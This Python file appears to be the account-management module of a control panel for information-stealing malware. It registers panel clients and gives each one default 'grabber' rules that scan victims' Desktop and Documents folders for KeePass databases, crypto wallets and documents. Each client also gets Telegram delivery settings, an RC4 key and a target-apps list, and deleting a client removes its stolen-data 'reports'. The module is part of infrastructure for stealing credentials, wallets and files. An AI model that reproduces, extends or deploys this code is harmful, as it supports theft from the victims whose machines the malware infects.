#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by L1ghtM3n@protonmail.com

# Import modules
from json import dumps
from secrets import token_urlsafe
from werkzeug.security import \
    generate_password_hash, check_password_hash
# Import packages
from core.models.reports import Report
from core.manager.database import DatabaseManager


# Connect to clients database
clients_db = DatabaseManager("accounts.db")

""" Account controller """
class Account(object):
    def __init__(self, username, password):
        self.username = username
        self.password = password

    # Register new client on server
    def register(self) -> bool:
        # Failed register, user already exists
        if self.exists() is True:
            return False
        # Generate password hash
        password_hash = generate_password_hash(self.password)
        # Insert new user to db
        clients_db.execute(
            sql="INSERT INTO accounts (username, password_hash) VALUES (?, ?)",
            values=[self.username, password_hash],
            commit_changes=True
        )
        # Insert default grabber rules
        clients_db.execute(
            sql="INSERT INTO grabber (scan_paths, extensions, owner) VALUES (?, ?, ?)",
            values=[
                    dumps(["%Desktop%", "%Documents%"]), 
                    dumps(["txt", "kdb", "kdbx", "wallet", "rtf", "doc", "docx", "pdf"]), 
                    self.username
                ],
            commit_changes=True
        )
        # Insert default telegram settings
        clients_db.execute(
            sql="INSERT INTO telegram (token, chatid, owner) VALUES (?, ?, ?)",
            values=['', dumps([]), self.username],
            commit_changes=True
        )
        # Insert random RC4 encryption key
        clients_db.execute(
            sql="INSERT INTO encryption (key, owner) VALUES (?, ?)",
            values=[token_urlsafe(16), self.username],
            commit_changes=True
        )
        # Insert empty target apps list
        clients_db.execute(
            sql="INSERT INTO targets (owner) VALUES (?)",
            values=[self.username],
            commit_changes=True
        )
        return True

    # Delete client from server
    def unregister(self) -> bool:
        # Failed unregister, user not exists
        if self.exists() is False:
            return False
        # Delete all reports
        found_reports = Report.GetReports(
                            self.username,
                            geo_data_dict=False
                        )
        for report in found_reports:
            report.DeleteReport()
        # Delete rows from database
        for table in ["accounts", "grabber", "telegram", "encryption", "targets"]:
            if table == "accounts": r = "username"
            else: r = "owner"
            clients_db.execute(
                sql=f"DELETE FROM {table} WHERE {r} = ?",
                values=[self.username],
                commit_changes=True
            )
        return True

    # Verify client password
    def login(self) -> bool:
        # Get values from db
        response = clients_db.execute(
            sql="SELECT password_hash FROM accounts WHERE username = ?",
            values=[self.username],
            commit_changes=False
        )
        password_hash = response[0][0]
        # Verify password hash
        return check_password_hash(password_hash, self.password)

    # Client is exists
    def exists(self) -> bool:
        # Get values from db
        response = clients_db.execute(
            sql="SELECT id FROM accounts WHERE username = ?",
            values=[self.username],
            commit_changes=False
        )
        return len(response) != 0

    # Change client password
    def change_password(self, new_password: str):
        password_hash = generate_password_hash(new_password)
        clients_db.execute(
            sql="UPDATE accounts SET password_hash = ? WHERE username = ?",
            values=[password_hash, self.username],
            commit_changes=True
        )

    # Bool
    def __bool__(self):
        return self.exists() and self.login()

